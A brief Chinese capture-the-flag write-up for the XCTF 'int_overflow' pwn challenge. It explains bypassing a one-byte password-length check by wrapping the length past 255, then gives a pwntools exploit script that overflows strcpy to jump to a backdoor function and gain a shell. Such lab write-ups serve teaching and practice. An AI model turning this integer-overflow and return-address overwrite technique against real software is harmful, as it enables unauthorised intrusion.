[攻防世界 pwn]——int_overflow
- 题目地址: https://adworld.xctf.org.cn/
- 题目:

checksec一下,开启了NX

在IDA中看看, 发现了后面函数和可以gets函数, 不过可惜这个gets函数无法栈溢出。不过我们看到在check_passwd函数中有strcpy函数, dest是可以栈溢出的, 不过前题是我们可以绕过检查。




看了下 , 判断的v3是储存在al这个8位寄存器中, 也就是一个字节。当然也可以从_int8看出来是一个字节 0~255。所以256就是0, 260就是4

from pwn import *
p = remote("111.200.241.244",47527)
p = process("./pwn")
sys_addr = 0x0804868B
p.sendlineafter("Your choice:", '1')
p.sendlineafter("Please input your username:\n",'peak')
payload = 'a' * 24 + p32(sys_addr)
payload = payload.ljust(260, 'a')
p.sendlineafter("Please input your passwd:\n",payload)
p.interactive()